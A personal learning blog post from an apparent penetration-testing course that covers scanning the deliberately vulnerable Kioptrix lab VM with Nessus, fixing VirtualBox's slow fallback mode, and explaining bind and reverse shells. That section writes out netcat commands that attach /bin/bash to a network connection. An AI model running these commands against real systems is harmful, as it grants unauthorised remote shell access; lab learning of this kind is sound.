Andres Diaz

andres@diaz:~$ whoami

Andres Diaz

Defect Reproduction Engineer at Filevine

andresdiaztech@gmail.com

LinkedIn GitHub Blog



andres@diaz:~/blog$ cat day-08.md

cd ..

Day 08: Vulnerability scanning with Nessus (and fixing a slow VM)

Day 08 ยท Oct 25, 2026

Today in one line

I set up Nessus and scanned Kioptrix, but my first scan crawled. I tracked it down to VirtualBox running in a slow fallback mode on Windows, fixed it, and re-ran the scan.

Setting up Nessus Essentials

Nessus is a vulnerability scanner: it checks a target against a big library of known problems and reports what it finds. The free version is Nessus Essentials, which scans up to 16 IP addresses.

My first scan was slow

I ran a Basic Network Scan against Kioptrix (192.168.56.101). In the course the same scan finished in about 6 minutes. Mine was past 13 minutes and still going.

At first I thought I had the wrong settings, but I had mimicked them. The VM (virtual machine) also had plenty of power: 8 GB of RAM (memory) and 8 cores, and my PC had plenty to spare. So resources were not the problem.

Finding out why

The real cause was on the Windows side. VirtualBox wants to use the CPU's hardware virtualization (Intel calls it VT-x) directly, but it was not getting it. I had Memory integrity turned on in my Windows settings, and that was the reason.

I spotted it in the VirtualBox log (VBox.log), which showed VirtualBox falling back because VT-x was not available:

HM: HMR3Init: Attempting fall back to NEM: VT-x is not available
NEM: NEMR3Init: Snail execution mode is active!

"Snail execution mode" is VirtualBox telling me the VM is running slowly.

The fix

I turned off the things keeping the Windows hypervisor on, then rebooted:

  1. Windows Security > Device security > Core isolation > Memory integrity, set to Off.
  2. In Windows Features, unchecked Virtual Machine Platform and Windows Hypervisor Platform.
  3. In an admin terminal:
bcdedit /set hypervisorlaunchtype off

After the reboot the log showed VirtualBox using the hardware directly again:

HM: HMR3Init: VT-x w/ nested paging and unrestricted guest execution hw support
HM: Using VT-x implementation 3.0

The trade-off: WSL2 (Windows Subsystem for Linux) and Docker Desktop both need that hypervisor, so they stop working until I turn these back on. I am using VirtualBox VMs for the course, so I do not need them right now.

The scan results

With the VM out of snail mode, I re-ran the scan and let it finish. Nessus found 123 issues on Kioptrix and detected the OS as Linux Kernel 2.4.

The worst were critical OpenSSH flaws scored 10.0 out of 10, the kind Nessus labels "Gain a shell remotely", plus old SSL (Secure Sockets Layer) with Version 2 and 3 still enabled:

nessus-critical-openssh-ssl.png

Two more lined up with what I found by hand on Day 7: an Apache Chunked Encoding Remote Overflow on the old Apache web server, and SSH (Secure Shell) still accepting the old Protocol Version 1:

nessus-apache-ssh.png

Further down the list it also confirmed the Samba (SMB) weakness from Day 7, like SMB signing not being required.

Bind and reverse shells

I also read about two ways to get a shell (command-line control) on a target using netcat (nc), a tool that reads and writes raw network connections.

  • Reverse shell: the target connects back to me and I catch it on a listener I already have open.
  • Bind shell: the target opens a port and waits, and I connect in to it.

The only thing that changes is who listens and who connects. The side running -e /bin/bash (which runs a shell and attaches it to the connection) is the machine whose shell you get; the other side is where you type.

Reverse shell:

# on my machine: listen for the target to call back
nc -lvp 4444
# on the target: connect to me and hand over a shell
nc <my-ip> 4444 -e /bin/bash

Bind shell:

# on the target: open a port and hold a shell on it
nc -lvp 4444 -e /bin/bash
# on my machine: connect in
nc <target-ip> 4444

Reverse shells get used more, because firewalls usually block connections coming in to the target but allow connections going out, so having the target reach out to me is more likely to get through.

What I learned

1. A scanner is only as fast as the VM underneath it.
My slow scan was not a Nessus setting. It was VirtualBox running in a software fallback because Windows had taken the hardware virtualization for its own hypervisor.

2. A scanner backs up manual enumeration.
Nessus flagged the same old Apache and SMB that I found by hand on Day 7, plus more, so it is a good way to confirm and widen what I already found.

Next up

  • Read through the Nessus findings and match them to the exploits I researched on Day 7
  • Try one of the exploits (mod_ssl OpenFuck or Samba trans2open) against Kioptrix